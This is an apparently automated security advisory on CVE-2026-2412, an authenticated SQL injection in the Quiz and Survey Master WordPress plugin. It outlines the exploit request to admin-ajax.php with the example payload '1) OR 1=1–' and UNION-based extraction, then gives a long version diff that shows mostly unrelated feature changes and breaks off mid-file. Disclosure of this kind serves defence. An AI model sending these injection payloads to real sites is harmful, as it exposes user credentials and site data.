Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 24, 2026

CVE-2026-2412: Quiz and Survey Master (QSM) <= 10.3.5 – Authenticated (Contributor+) SQL Injection via 'merged_question' Parameter (quiz-master-next)

CVE ID CVE-2026-2412
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 10.3.5
Patched Version 11.0.0
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2412:
The Quiz and Survey Master (QSM) WordPress plugin version 10.3.5 and earlier contains an authenticated SQL injection vulnerability. This vulnerability exists in the plugin’s question merging functionality, allowing attackers with Contributor-level permissions or higher to execute arbitrary SQL queries. The CVSS 6.5 score reflects the requirement for authentication combined with the ability to extract sensitive database information.

Root Cause:
The vulnerability originates in the `php/admin/questions-page.php` file within the `qsm_save_question_ajax` function. The `merged_question` parameter passes through `sanitize_text_field()` but receives no further validation before concatenation into a SQL IN() clause. The `sanitize_text_field()` function only removes tags and extra whitespace, failing to neutralize SQL metacharacters like parentheses, OR, AND, and comment operators. The vulnerable code directly inserts user-controlled values into the SQL query at line 1550: `$question_ids = $wpdb->get_col( “SELECT question_id FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)” )`. No prepared statements or integer casting secures this query construction.

Exploitation:
An authenticated attacker with Contributor privileges accesses the WordPress admin panel and navigates to the quiz question management interface. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `qsm_save_question`. The request includes a malicious `merged_question` parameter containing SQL injection payloads. Example payloads could include `1) OR 1=1–` to bypass logic or UNION SELECT statements to extract data from other database tables. The injection occurs within the IN() clause, enabling attackers to append additional SQL queries.

Patch Analysis:
The patch in version 11.0.0 addresses the vulnerability by implementing proper input validation and prepared statements. The updated code in `php/admin/questions-page.php` replaces the vulnerable concatenation with a secure approach. The patch first validates the `merged_question` parameter contains only comma-separated integers using a regular expression check. It then splits the string into individual IDs, casts each to integers, and uses `$wpdb->prepare()` with placeholders for safe query construction. This change ensures SQL injection characters cannot alter the query structure while maintaining the intended functionality.

Impact:
Successful exploitation allows authenticated attackers to execute arbitrary SQL queries on the WordPress database. Attackers can extract sensitive information including user credentials, personal data, quiz results, and plugin configuration. The vulnerability enables complete database compromise within the context of the WordPress installation. Attackers could also potentially modify or delete data, though the SELECT-based nature of the vulnerable query may limit immediate data manipulation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 10.3.5
+ * Version: 11.0.0
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '10.3.5';
+	public $version = '11.0.0';

 	/**
 	 * QSM Alert Manager Object
@@ -284,6 +284,7 @@
 			include_once 'php/admin/admin-results-page.php';
 			include_once 'php/admin/admin-results-details-page.php';
 			include_once 'php/admin/tools-page.php';
+			include_once 'php/admin/question-bank-page.php';
 			include_once 'php/classes/class-qsm-changelog-generator.php';
 			include_once 'php/admin/about-page.php';
 			include_once 'php/admin/dashboard-widgets.php';
@@ -306,6 +307,10 @@
 		include_once 'php/classes/class-qsm-emails.php';
 		include_once 'php/classes/class-qmn-quiz-manager.php';

+		// Load new rendering system files
+		include_once 'renderer/frontend/template-loader.php';
+		include_once 'renderer/frontend/class-qsm-render-pagination.php';
+		include_once 'renderer/frontend/class-qsm-new-renderer.php';
 		include_once 'php/template-variables.php';
 		include_once 'php/adverts-generate.php';
 		include_once 'php/question-types.php';
@@ -359,6 +364,48 @@
 		add_action( 'admin_init', array( $this, 'qsm_overide_old_setting_options' ) );
 		add_action( 'admin_notices', array( $this, 'qsm_admin_notices' ) );
 		add_filter( 'manage_edit-qsm_category_columns', array( $this, 'modify_qsm_category_columns' ) );
+		add_action( 'wp_ajax_qsm_mark_setup_wizard_completed', array( $this, 'qsm_mark_setup_wizard_completed' ) );
+		add_action( 'wp_ajax_qsm_reset_setup_wizard_completed', array( $this, 'qsm_reset_setup_wizard_completed' ) );
+	}
+
+	/**
+	 * Marks setup wizard as completed for current user.
+	 *
+	 * @since 0.0.0
+	 * @return void
+	 */
+	public function qsm_mark_setup_wizard_completed() {
+		if ( ! function_exists( 'is_admin' ) || ! is_admin() || ! current_user_can( 'edit_posts' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'Unauthorized!', 'quiz-master-next' ),
+				)
+			);
+		}
+		check_ajax_referer( 'qsm_setup_wizard_nonce', 'nonce' );
+		$user_id = get_current_user_id();
+		update_user_meta( $user_id, 'qsm_setup_wizard_completed', 1 );
+		wp_send_json_success( array( 'completed' => 1 ) );
+	}
+
+	/**
+	 * Resets setup wizard completion for current user.
+	 *
+	 * @since 0.0.0
+	 * @return void
+	 */
+	public function qsm_reset_setup_wizard_completed() {
+		if ( ! function_exists( 'is_admin' ) || ! is_admin() || ! current_user_can( 'edit_posts' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'Unauthorized!', 'quiz-master-next' ),
+				)
+			);
+		}
+		check_ajax_referer( 'qsm_setup_wizard_nonce', 'nonce' );
+		$user_id = get_current_user_id();
+		delete_user_meta( $user_id, 'qsm_setup_wizard_completed' );
+		wp_send_json_success( array( 'completed' => 0 ) );
 	}

 	/**
@@ -437,7 +484,7 @@
 			wp_enqueue_script( 'ChartJS', QSM_PLUGIN_JS_URL . '/chart.min.js', array(), '3.6.0', true );
 		}
 		// quiz option pages
-		if ( 'admin_page_mlw_quiz_options' === $hook ) {
+		if ( 'admin_page_mlw_quiz_options' === $hook || 'qsm_page_qmn_global_settings' === $hook ) {
 			wp_enqueue_script( 'wp-tinymce' );
 			wp_enqueue_script( 'micromodal_script', plugins_url( 'js/micromodal.min.js', __FILE__ ), array( 'jquery', 'qsm_admin_js' ), $this->version, true );
 			$current_tab = isset( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : 'questions';
@@ -451,6 +498,16 @@
 					wp_add_inline_script( 'math_jax', self::$default_MathJax_script, 'before' );
 					wp_enqueue_editor();
 					wp_enqueue_media();
+					wp_enqueue_style( 'wp-pointer' );
+					wp_enqueue_script( 'wp-pointer' );
+					wp_enqueue_script( 'qsm_admin_tour_js', plugins_url( 'js/qsm-admin-tour.js', __FILE__ ), array( 'jquery', 'wp-pointer' ), $this->version, true );
+					wp_localize_script(
+						'qsm_admin_tour_js',
+						'qsmAdminTourData',
+						array(
+							'quiz_id' => isset( $_GET['quiz_id'] ) ? intval( $_GET['quiz_id'] ) : 0,
+						)
+					);
 					break;
 				case 'style':
 					wp_enqueue_style( 'wp-color-picker' );
@@ -473,6 +530,7 @@
 					break;
 				case 'results-pages':
 				case 'emails':
+				case 'quiz-default-template':
 					wp_enqueue_script( 'select2-js',  QSM_PLUGIN_JS_URL.'/jquery.select2.min.js', array( 'jquery' ), $this->version,true);
 					wp_enqueue_style( 'select2-css', QSM_PLUGIN_CSS_URL . '/jquery.select2.min.css', array(), $this->version );
 					wp_enqueue_editor();
@@ -484,15 +542,35 @@
 					break;
 			}
 		}
+
+		if ( ! wp_script_is( 'select2-js', 'registered' ) ) {
+            wp_register_script( 'select2-js', QSM_PLUGIN_JS_URL . '/jquery.select2.min.js', array( 'jquery' ), $this->version, true );
+        }
+        if ( ! wp_style_is( 'select2-css', 'registered' ) ) {
+            wp_register_style( 'select2-css', QSM_PLUGIN_CSS_URL . '/jquery.select2.min.css', array(), $this->version );
+        }
 		// load admin JS after all dependencies are loaded
 		/**  Fixed wpApiSettings is not defined js error by using 'wp-api-request' core script to allow the use of localized version of wpApiSettings. **/
-		wp_enqueue_script( 'qsm_admin_js', plugins_url( 'js/qsm-admin.js', __FILE__ ), array( 'jquery', 'backbone', 'underscore', 'wp-util', 'jquery-ui-sortable', 'jquery-touch-punch', 'qsm-jquery-multiselect-js', 'wp-api-request' ), $this->version, true );
+		wp_enqueue_script( 'qsm_admin_js', plugins_url( 'js/qsm-admin.js', __FILE__ ), array( 'jquery', 'backbone', 'underscore', 'wp-util', 'jquery-ui-sortable', 'jquery-touch-punch', 'qsm-jquery-multiselect-js', 'wp-api-request', 'select2-js' ), $this->version, true );
 		wp_enqueue_style( 'jquer-multiselect-css', QSM_PLUGIN_CSS_URL . '/jquery.multiselect.min.css', array(), $this->version );
 		wp_enqueue_script( 'qsm-jquery-multiselect-js', QSM_PLUGIN_JS_URL . '/jquery.multiselect.min.js', array( 'jquery' ), $this->version, true );
 		wp_enqueue_script( 'micromodal_script', plugins_url( 'js/micromodal.min.js', __FILE__ ), array( 'jquery', 'qsm_admin_js' ), $this->version, true );
 		$qsm_variables = function_exists( 'qsm_text_template_variable_list' ) ? qsm_text_template_variable_list() : array();
 		$qsm_variables_name = array();
 		$qsm_quizzes = $wpdb->get_results("SELECT quiz_id, quiz_name FROM {$wpdb->prefix}mlw_quizzes");
+		$current_quiz_id = isset( $_GET['quiz_id'] ) ? intval( $_GET['quiz_id'] ) : 0;
+		$other_quizzes_count = 0;
+		if ( is_array( $qsm_quizzes ) ) {
+			foreach ( $qsm_quizzes as $quiz_obj ) {
+				if ( ! isset( $quiz_obj->quiz_id ) ) {
+					continue;
+				}
+				if ( $current_quiz_id && intval( $quiz_obj->quiz_id ) === $current_quiz_id ) {
+					continue;
+				}
+				$other_quizzes_count++;
+			}
+		}
 		foreach ( $qsm_variables as $key => $value ) {
 			// Iterate over each key of the nested object
 			if ( is_array( $value ) && ! empty($value) ) {
@@ -593,6 +671,7 @@
 			'insert_variable'            => __("Insert QSM variables", 'quiz-master-next'),
 			'select_all'                 => __("Select All", 'quiz-master-next'),
 			'select'                     => __("Select", 'quiz-master-next'),
+			'quiz_count'                 => $other_quizzes_count,
 			'qsmQuizzesObject'           => $qsm_quizzes,
 			'arrow_up_image'             => esc_url(QSM_PLUGIN_URL . 'assets/arrow-up-s-line.svg'),
 			'arrow_down_image'           => esc_url(QSM_PLUGIN_URL . 'assets/arrow-down-s-line.svg'),
@@ -616,6 +695,54 @@
 			'warning_icon'               => esc_url(QSM_PLUGIN_URL . 'assets/warning-message.png'),
 			'info_icon'                  => esc_url(QSM_PLUGIN_URL . 'assets/info-message.png'),
 			'question_shuffle'           => __('Question shuffled successfully!', 'quiz-master-next'),
+			'is_migration_done'          => get_option( 'qsm_migration_results_processed', 0 ),
+			'guided_wizard'              => array(
+				'storage_key'              => 'qsm_setup_wizard_completed',
+				'completed'                => (int) get_user_meta( get_current_user_id(), 'qsm_setup_wizard_completed', true ),
+				'nonce'                    => wp_create_nonce( 'qsm_setup_wizard_nonce' ),
+				'guided_wizard'            => __('Guided Wizard', 'quiz-master-next'),
+				'answer_limit_area'        => __('Set how many answers users can select.', 'quiz-master-next'),
+				'grading_mode_area'        => __('Choose how this question should be graded.', 'quiz-master-next'),
+				'add_poll_type_area'       => __('Turn this into a poll to show how others responded.', 'quiz-master-next'),
+				'correct_answer_info_area' => __('Add an explanation to support the correct answer.', 'quiz-master-next'),
+				'comments_area'            => __('Allow users to add comments for this question.', 'quiz-master-next'),
+				'hint_area'                => __('Provide a hint to guide users before answering.', 'quiz-master-next'),
+				'first_question'           => __('Create your first question', 'quiz-master-next'),
+				'question_type'            => __('Choose your question type.', 'quiz-master-next'),
+				'question_title'           => __('Question Title', 'quiz-master-next'),
+				'question_title_desc'      => __('Write the question you want to ask your users.', 'quiz-master-next'),
+				'add_answer'               => __('Add Answers', 'quiz-master-next'),
+				'add_answer_text'          => __('Add all possible answers for this question.', 'quiz-master-next'),
+				'add_answer_desc1'         => __('Use the', 'quiz-master-next'),
+				'add_answer_desc2'         => __('buttons to add or remove answers.', 'quiz-master-next'),
+				'add_answer_desc3'         => __('Assign', 'quiz-master-next'),
+				'add_answer_desc4'         => __('points', 'quiz-master-next'),
+				'add_answer_desc5'         => __('and mark the', 'quiz-master-next'),
+				'add_answer_desc6'         => __('correct answer', 'quiz-master-next'),
+				'add_answer_desc7'         => __('Select the appropriate', 'quiz-master-next'),
+				'add_answer_desc8'         => __('label', 'quiz-master-next'),
+				'add_answer_desc9'         => __('(Optional).', 'quiz-master-next'),
+				'save_question'            => __('Save Question', 'quiz-master-next'),
+				'save_question_desc'       => __('Click <strong>Save Question</strong> to save your first question.', 'quiz-master-next'),
+				'feature_image'            => __( 'Featured Image (Optional)', 'quiz-master-next'),
+				'feature_image_desc'       => __( 'Add an image to visually enhance this question.', 'quiz-master-next'),
+				'category'                 => __( 'Category (Optional)', 'quiz-master-next'),
+				'category_desc'            => __( 'Assign this question to one or more categories to organize, filter, and reuse it across quizzes.', 'quiz-master-next'),
+				'question_status'          => __( 'Published / Draft', 'quiz-master-next'),
+				'question_status_desc1'    => __( 'Use the toggle to switch between Draft and Published.', 'quiz-master-next'),
+				'question_status_desc2'    => __( 'Set it to Published to make the question available in quizzes, or keep it as Draft to continue editing.', 'quiz-master-next'),
+				'advance_setting'          => __( 'Advanced Settings', 'quiz-master-next'),
+				'advance_setting_desc1'    => __( 'Here you can configure advanced settings for this question.', 'quiz-master-next'),
+				'advance_setting_desc2'    => __( 'Use this section to control evaluation and learner feedback.', 'quiz-master-next'),
+				'save_updates'             => __( 'Save your updates', 'quiz-master-next'),
+				'save_updates_desc'        => __( 'Click “Save Question” to apply your changes and complete the setup', 'quiz-master-next'),
+				'congrats2'                => __( 'Congratulations!', 'quiz-master-next'),
+				'congrats2_desc1'          => __( 'Your advanced settings have been saved successfully.', 'quiz-master-next'),
+				'congrats2_desc2'          => __( 'The question logic and behavior are now updated.', 'quiz-master-next'),
+				'congrats1'                => __( 'Great start!', 'quiz-master-next'),
+				'congrats1_desc1'          => __( 'Your question is ready with basic settings.', 'quiz-master-next'),
+				'congrats1_desc2'          => __( 'Now you can customize logic and behavior to unlock its full potential.', 'quiz-master-next'),
+			),
 		);
 		$qsm_admin_messages = apply_filters( 'qsm_admin_messages_after', $qsm_admin_messages );
 		wp_localize_script( 'qsm_admin_js', 'qsm_admin_messages', $qsm_admin_messages );
@@ -797,7 +924,7 @@
 			return;
 		}
 		$roles    = (array) $user->roles;
-		if ( empty( $roles ) || !isset($roles[0]) || !is_string($roles[0]) ) {
+		if ( empty( $roles ) || ! isset($roles[0]) || ! is_string($roles[0]) ) {
 			return;
 		}
 		$rolename = $roles[0];
@@ -900,6 +1027,7 @@
 			add_submenu_page( 'qsm_dashboard', __( 'Tools', 'quiz-master-next' ), __( 'Tools', 'quiz-master-next' ), $capabilities[2], 'qsm_quiz_tools', 'qsm_generate_quiz_tools' );
 			add_submenu_page( 'qsm_dashboard', __( 'Stats', 'quiz-master-next' ), __( 'Stats', 'quiz-master-next' ), $capabilities[2], 'qmn_stats', 'qmn_generate_stats_page' );
 			add_submenu_page( 'qsm_dashboard', __( 'About', 'quiz-master-next' ), __( 'About', 'quiz-master-next' ), $capabilities[2], 'qsm_quiz_about', 'qsm_generate_about_page' );
+			add_submenu_page( 'qsm_dashboard', __( 'Question Bank', 'quiz-master-next' ), __( 'Question Bank', 'quiz-master-next' ), $capabilities[6], 'qsm_question_bank', 'qsm_render_question_bank_page', 2 );

 			add_submenu_page( 'qsm_dashboard', __( 'Extensions Settings', 'quiz-master-next' ), '<span style="color:#f39c12;">' . __( 'Extensions', 'quiz-master-next' ) . '</span>', $capabilities[2], 'qmn_addons', 'qmn_addons_page', 34 );
 			add_submenu_page( 'qsm_dashboard', __( 'Free Add-ons', 'quiz-master-next' ), '<span style="color:#f39c12;">' . esc_html__( 'Free Add-ons', 'quiz-master-next' ) . '</span>', $capabilities[2], 'qsm-free-addon', 'qsm_display_optin_page', 90 );
--- a/quiz-master-next/php/admin/admin-dashboard.php
+++ b/quiz-master-next/php/admin/admin-dashboard.php
@@ -75,6 +75,8 @@
 			<?php
 		}
 	}
+
+	do_action( 'qsm_admin_dashboard_compatibility_after' );
 }

 function qsm_dashboard_display_change_log_section() {
@@ -277,7 +279,7 @@
  */

 function qsm_dashboard_recent_taken_quiz() {
-	global $wpdb;
+	global $wpdb, $mlwQuizMasterNext;
 	$mlw_result_data = $wpdb->get_row( "SELECT DISTINCT COUNT(result_id) as total_result FROM {$wpdb->prefix}mlw_results WHERE deleted=0", ARRAY_A );
 	if ( 0 != $mlw_result_data['total_result'] ) {
 		?>
@@ -342,7 +344,13 @@
 									|
 									<?php
 									$mlw_complete_time     = '';
-									$mlw_qmn_results_array = maybe_unserialize( $single_result_arr['quiz_results'] );
+									$is_new_format = $mlwQuizMasterNext->pluginHelper->is_new_format_result( $single_result_arr );
+									if ( $is_new_format ) {
+										// Load new format result structure
+										$mlw_qmn_results_array = $mlwQuizMasterNext->pluginHelper->get_formated_result_data( $single_result_arr['result_id'] );
+									} else {
+										$mlw_qmn_results_array = maybe_unserialize( $single_result_arr['quiz_results'] );
+									}
 									if ( is_array( $mlw_qmn_results_array ) ) {
 										$mlw_complete_hours = floor( $mlw_qmn_results_array[0] / 3600 );
 										if ( $mlw_complete_hours > 0 ) {
@@ -411,6 +419,8 @@
 			</div>

 			<?php
+			qsm_display_migration_tools_redirect_button();
+
 			$qsm_admin_dd = qsm_get_parsing_script_data();
 			if ( $qsm_admin_dd ) {
 				$popular_addons = isset( $qsm_admin_dd['popular_products'] ) ? $qsm_admin_dd['popular_products'] : array();
@@ -561,4 +571,51 @@
 	}
 }

-add_action( 'admin_init', 'qsm_create_new_quiz_from_wizard' );
 No newline at end of file
+add_action( 'admin_init', 'qsm_create_new_quiz_from_wizard' );
+
+/**
+ * Displays a redirect button to the migration tools page on the dashboard.
+ *
+ * This function outputs a styled section on the dashboard that encourages users
+ * to perform a database migration. It includes a heading, a brief description,
+ * and a button that links to the migration tools page.
+ *
+ * @since 11.0.0
+ * @return void
+ */
+function qsm_display_migration_tools_redirect_button() {
+	// Only show this section if the migration has not been completed.
+	if ( 1 == get_option( 'qsm_migration_results_processed' ) ) {
+		return;
+	}
+	?>
+	<div class="qsm-dashboard-migration-section qsm-dashboard-page-common-style">
+		<div class="qsm-dashboard-page-header">
+			<h3 class="qsm-dashboard-card-title"><?php esc_html_e( 'Database Migration', 'quiz-master-next' ); ?></h3>
+		</div>
+		<div class="qsm-db-migration-container">
+			<div class="qsm-migration-notice qsm-migration-info">
+				<div class="qsm-migration-notice-header">
+					<strong><?php esc_html_e( 'You’ve updated to QSM 11', 'quiz-master-next' ); ?></strong>
+				</div>
+				<p><?php esc_html_e( 'Complete a one-time database migration to ensure your quizzes and results work smoothly with the new version and its improved rendering experience.', 'quiz-master-next' ); ?></p>
+			</div>
+			<div class="qsm-migration-notice qsm-migration-warning">
+				<div class="qsm-migration-notice-header">
+					<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+						<path d="M10 0C4.48 0 0 4.48 0 10C0 15.52 4.48 20 10 20C15.52 20 20 15.52 20 10C20 4.48 15.52 0 10 0ZM11 15H9V13H11V15ZM11 11H9V5H11V11Z" fill="#F59E0B"/>
+					</svg>
+					<strong><?php esc_html_e( 'Important', 'quiz-master-next' ); ?></strong>
+				</div>
+				<p><?php esc_html_e( 'After migration, new quiz results will not be compatible with older versions of QSM. If you downgrade later, these results may not be accessible.', 'quiz-master-next' ); ?></p>
+			</div>
+			<div class="qsm-migration-action">
+				<a class="button button-primary qsm-dashboard-section-migration" href="<?php echo esc_url( admin_url( 'admin.php?page=qsm_quiz_tools&tab=qsm_tools_page_migration' ) ); ?>">
+					<?php esc_html_e( 'Go To Migration', 'quiz-master-next' ); ?>
+				</a>
+				<p class="qsm-migration-note"><?php esc_html_e( 'Your data will remain safe during migration', 'quiz-master-next' ); ?></p>
+			</div>
+		</div>
+	</div>
+	<?php
+}
 No newline at end of file
--- a/quiz-master-next/php/admin/admin-results-details-page.php
+++ b/quiz-master-next/php/admin/admin-results-details-page.php
@@ -75,18 +75,18 @@

     if ( empty($results_data) ) {
         $resultpage_link = admin_url('admin.php?page=mlw_quiz_results');
-    ?>
-    <div id="qsm-dashboard-error-container">
-        <div class="qsm-dashboard-error-content">
-            <h3><?php esc_html_e('Quiz Result Not Available', 'quiz-master-next'); ?></h3>
-            <p><?php esc_html_e('The quiz result you are trying to view could not be found. Please return to the results page.', 'quiz-master-next'); ?></p>
-            <a href="<?php echo esc_url($resultpage_link); ?>" class="qsm-dashboard-error-btn">
-                <?php esc_html_e('Back to All Results', 'quiz-master-next'); ?>
-            </a>
+        ?>
+        <div id="qsm-dashboard-error-container">
+            <div class="qsm-dashboard-error-content">
+                <h3><?php esc_html_e('Quiz Result Not Available', 'quiz-master-next'); ?></h3>
+                <p><?php esc_html_e('The quiz result you are trying to view could not be found. Please return to the results page.', 'quiz-master-next'); ?></p>
+                <a href="<?php echo esc_url($resultpage_link); ?>" class="qsm-dashboard-error-btn">
+                    <?php esc_html_e('Back to All Results', 'quiz-master-next'); ?>
+                </a>
+            </div>
         </div>
-    </div>
-    <?php
-    return;
+        <?php
+        return;
     }
 	// Prepare plugin helper.
 	$quiz_id = intval( $results_data->quiz_id );
@@ -129,7 +129,13 @@

     // Prepare responses array.
     $total_hidden_questions = 0;
-    $results = maybe_unserialize( $results_data->quiz_results );
+    $is_new_format = $mlwQuizMasterNext->pluginHelper->is_new_format_result( $results_data );
+    if ( $is_new_format ) {
+        // Load new format result structure
+        $mlw_qmn_results_array = $results = $mlwQuizMasterNext->pluginHelper->get_formated_result_data( $results_data->result_id );
+    } else {
+        $mlw_qmn_results_array = $results = maybe_unserialize( $results_data->quiz_results );
+    }
     if ( is_array( $results ) ) {
         $total_hidden_questions = ! empty( $results['hidden_questions'] ) && is_array( $results['hidden_questions'] ) ? count( $results['hidden_questions'] ) : 0;
         if ( ! isset( $results["contact"] ) ) {
@@ -179,7 +185,6 @@
     }
     if ( 1 === intval( $new_template_result_detail ) ) {
         $template = '';
-        $mlw_qmn_results_array = maybe_unserialize( $results_data->quiz_results );
         if ( is_array( $mlw_qmn_results_array ) ) {
             $span_start = '<span class="result-candidate-span"><label>';
             $span_end = '</label><span>';
@@ -306,7 +311,7 @@
         }
     }

-    if ( ! is_array( maybe_unserialize( $results_data->quiz_results ) ) ) {
+    if ( ! is_array( maybe_unserialize( $results_data->quiz_results ) ) && '' != $results_data->quiz_results ) {
         $template = str_replace( "%QUESTIONS_ANSWERS%" , $results_data->quiz_results, $template );
         $template = str_replace( "%TIMER%" , '', $template );
         $template = str_replace( "%COMMENT_SECTION%" , '', $template );
--- a/quiz-master-next/php/admin/admin-results-page.php
+++ b/quiz-master-next/php/admin/admin-results-page.php
@@ -30,6 +30,9 @@
 				<?php } ?>
 			</h2>
 		</div>
+		<?php
+			qsm_show_results_migration_warning();
+		?>
 		<?php $mlwQuizMasterNext->alertManager->showAlerts(); ?>
 		<?php qsm_show_adverts(); ?>
 		<h2 class="nav-tab-wrapper">
@@ -90,10 +93,17 @@
  * @return void
  */
 function qsm_delete_results_attachments( $rows_before_update ) {
+	global $mlwQuizMasterNext;
     // Loop through each row in the results
     foreach ( $rows_before_update as $row ) {
         // Unserialize the quiz results
-        $mlw_qmn_results_array = maybe_unserialize( $row->quiz_results );
+		$is_new_format = $mlwQuizMasterNext->pluginHelper->is_new_format_result( $row );
+		if ( $is_new_format ) {
+			// Load new format result structure
+			$mlw_qmn_results_array = $mlwQuizMasterNext->pluginHelper->get_formated_result_data( $row->result_id );
+		} else {
+			$mlw_qmn_results_array = maybe_unserialize( $row->quiz_results );
+		}
         // Ensure the results array exists and has the expected structure
 		foreach ( $mlw_qmn_results_array[1] as $key => $value ) {
 			// Check if the question type is 11 and user answer is not empty
@@ -424,7 +434,13 @@
 			foreach ( $mlw_quiz_data as $mlw_quiz_info ) {
 				$quiz_infos[]            = $mlw_quiz_info;
 				$mlw_complete_time       = '';
-				$mlw_qmn_results_array   = maybe_unserialize( $mlw_quiz_info->quiz_results );
+				$is_new_format = $mlwQuizMasterNext->pluginHelper->is_new_format_result( $mlw_quiz_info );
+				if ( $is_new_format ) {
+					// Load new format result structure
+					$mlw_qmn_results_array = $mlwQuizMasterNext->pluginHelper->get_formated_result_data( $mlw_quiz_info->result_id );
+				} else {
+					$mlw_qmn_results_array = maybe_unserialize( $mlw_quiz_info->quiz_results );
+				}
 				$hidden_questions        = ! empty( $mlw_qmn_results_array['hidden_questions'] ) && is_array($mlw_qmn_results_array['hidden_questions']) ? count( $mlw_qmn_results_array['hidden_questions'] ) : 0;
 				if ( is_array( $mlw_qmn_results_array ) ) {
 					$mlw_complete_hours = floor( $mlw_qmn_results_array[0] / 3600 );
@@ -486,19 +502,14 @@

 				if ( isset( $values['start_date'] ) ) {
 					if ( isset($mlw_qmn_results_array['quiz_start_date']) ) {
-						$sdate    = gmdate( get_option( 'date_format' ), strtotime( $mlw_qmn_results_array['quiz_start_date'] ) );
-						$stime    = gmdate( "h:i:s A", strtotime( $mlw_qmn_results_array['quiz_start_date'] ) );
-						$values['start_date']['content'][] = $sdate .' '. $stime;
+						$values['start_date']['content'][] = $mlw_qmn_results_array['quiz_start_date'];
 					} else {
 						$values['start_date']['content'][] = ' ';
 					}
 				}

-				$date    = gmdate( get_option( 'date_format' ), strtotime( $mlw_quiz_info->time_taken ) );
-				$time    = gmdate( "h:i:s A", strtotime( $mlw_quiz_info->time_taken ) );
-
 				if ( isset( $values['time_taken'] ) ) {
-					$values['time_taken']['content'][] = $date .' '. $time;
+					$values['time_taken']['content'][] = $mlw_quiz_info->time_taken;
 				}
 				if ( isset( $values['ip'] ) ) {
 					$values['ip']['content'][] = $mlw_quiz_info->user_ip;
@@ -605,10 +616,13 @@
 							<a class="qsm-popup__close qsm-popup-upgrade-close" aria-label="Close modal" data-micromodal-close></a>
 						</header>
 						<main class="qsm-popup__content" id="modal-2-content">
-							<div class="qsm-result-page-delete-message"><?php esc_html_e( 'Are you sure you want to delete these results?', 'quiz-master-next' ); ?></div>
-								<?php wp_nonce_field( 'delete_results', 'delete_results_nonce' ); ?>
-								<input type='hidden' id='result_id' name='result_id' value='' />
-								<input type='hidden' id='delete_quiz_name' name='delete_quiz_name' value='' />
+							<div class="qsm-result-page-delete-message">
+								<?php esc_html_e( 'Are you sure you want to delete these results?', 'quiz-master-next' ); ?><br/>
+								<p><em><?php esc_html_e( 'This will permanently remove all associated data and metadata', 'quiz-master-next' ); ?></em></p>
+							</div>
+							<?php wp_nonce_field( 'delete_results', 'delete_results_nonce' ); ?>
+							<input type='hidden' id='result_id' name='result_id' value='' />
+							<input type='hidden' id='delete_quiz_name' name='delete_quiz_name' value='' />
 						</main>
 						<footer class="qsm-popup__footer">
 							<button class="qsm-popup__btn" data-micromodal-close aria-label="Close this dialog window"><?php esc_html_e( 'Cancel', 'quiz-master-next' ); ?></button>
--- a/quiz-master-next/php/admin/class-qsm-database-migration.php
+++ b/quiz-master-next/php/admin/class-qsm-database-migration.php
@@ -0,0 +1,815 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * QSM Database Migration
+ *
+ * Behavior:
+ * - Migration log table (one row per result_id) prevents duplicate migration
+ * - Each result_id's question inserts are done atomically with a transaction:
+ * - success -> log success
+ * - failure -> rollback result and log error; continue with other results
+ */
+class QSM_Database_Migration {
+
+    public $wpdb;
+    const BATCH_SIZE = 10;
+
+    public function __construct() {
+        global $wpdb;
+        $this->wpdb = $wpdb;
+
+        // Register AJAX endpoints
+        add_action('wp_ajax_qsm_start_migration', array( $this, 'qsm_initial_migration_start_callback' ));
+        add_action('wp_ajax_qsm_process_migration_batch', array( $this, 'qsm_process_migration_batch_callback' ));
+    }
+
+    private function qsm_is_migration_allowed() {
+        if ( function_exists( 'qsm_migration_evaluate_addon_requirements' ) ) {
+            $compatibility = qsm_migration_evaluate_addon_requirements();
+            return ! empty( $compatibility['allowed'] );
+        }
+
+        return true;
+    }
+
+    private function qsm_get_migration_block_message() {
+        if ( function_exists( 'qsm_migration_evaluate_addon_requirements' ) ) {
+            $compatibility = qsm_migration_evaluate_addon_requirements();
+            if ( ! empty( $compatibility['message'] ) ) {
+                return $compatibility['message'];
+            }
+        }
+
+        return __( 'Migration is currently disabled due to version compatibility requirements.', 'quiz-master-next' );
+    }
+
+    function create_migration_tables() {
+
+        $charset_collate = $this->wpdb->get_charset_collate();
+        $mlw_results_table = $this->wpdb->prefix . 'mlw_results';
+        $results_questions = $this->wpdb->prefix . 'qsm_results_questions';
+        if ( $this->wpdb->get_var( "SHOW TABLES LIKE '{$results_questions}'" ) != $results_questions ) {
+            $sql_results_answers = "CREATE TABLE {$results_questions} (
+                `id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT,
+                `result_id` MEDIUMINT(9) NOT NULL,
+                `quiz_id` MEDIUMINT(9) NOT NULL,
+                `question_id` MEDIUMINT(9) NOT NULL,
+                `question_title` TEXT,
+                `question_description` LONGTEXT,
+                `question_comment` TEXT,
+                `question_type` VARCHAR(50),
+                `answer_type` VARCHAR(50) DEFAULT 'text',
+                `correct_answer` TEXT,
+                `user_answer` TEXT,
+                `user_answer_comma` TEXT,
+                `correct_answer_comma` TEXT,
+                `points` FLOAT DEFAULT 0,
+                `correct` TINYINT(1) DEFAULT 0,
+                `category` TEXT,
+                `multicategories` TEXT,
+                `other_settings` TEXT,
+                PRIMARY KEY (`id`),
+                KEY `result_id` (`result_id`),
+                KEY `question_id` (`question_id`),
+                KEY `quiz_id` (`quiz_id`),
+                KEY `result_question` (`result_id`, `question_id`)
+            ) ENGINE=InnoDB {$charset_collate};";
+
+            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
